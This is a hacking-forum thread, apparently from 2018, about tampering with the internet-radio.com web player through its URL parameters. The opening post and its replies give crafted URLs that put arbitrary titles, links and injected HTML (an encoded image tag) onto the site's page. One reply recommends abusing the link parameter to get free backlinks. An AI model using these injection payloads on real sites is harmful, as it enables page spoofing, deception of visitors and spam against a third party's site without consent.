Login Register
The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


[INTERNET RADIO] Get parser vulnerable to screen data tampering filter_list
Author
Message
[INTERNET RADIO] Get parser vulnerable to screen data tampering #1
Code:
https://www.internet-radio.com/player/?mount=http://66.70.187.44:9172/listen.pls?sid=1&title=Privateloader%20Radio%20-%20Music%20From%20Within%20The%20Harder%20Styles&website=http://www.privateloader.com

Mount: Point to any *.pls radio
Sid: Dummy control, active/desactive the player button
Title: On screen message
Website: Hyperlink to any website

Test Result:
http://bit.ly/2pSZzef
(This post was last modified: 10-17-2018, 12:14 PM by hacxx.)

Reply

RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering #2
You can inject HTML in the title tag

Example
Code:
https://www.internet-radio.com/player/?mount=http://66.70.187.44:9172/listen.pls?sid=1&title=%3Cb%3EPrivateloader%20Radio%20-%20Music%20From%20Within%20The%20Harder%20Styles%3C/b%3E%3Cbr%3E%3Cbr%3E%3Cimg%20src=%27https://i.imgur.com/FVSF2KQ.jpg%27%3E&website=http://www.privateloader.com

Which will give you:
[Image: ZjmUP7c.jpg]

Reply

RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering #3
Any link in the website tag request will result in a Dofollow link on the page. This page can be indexed and the result is a free backlink.

[Image: RNRc6GZ.jpg]

Reply

RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering #4
interresting Smile will look more into this

Bronze 7. October 2018
Silver 12. October 2018

Reply

RE: [INTERNET RADIO] Get parser vulnerable to screen data tampering #5
Nice one bud, maybe this will be of use sometime.
[Image: iQDVDdD.gif]

Reply







Users browsing this thread: 1 Guest(s)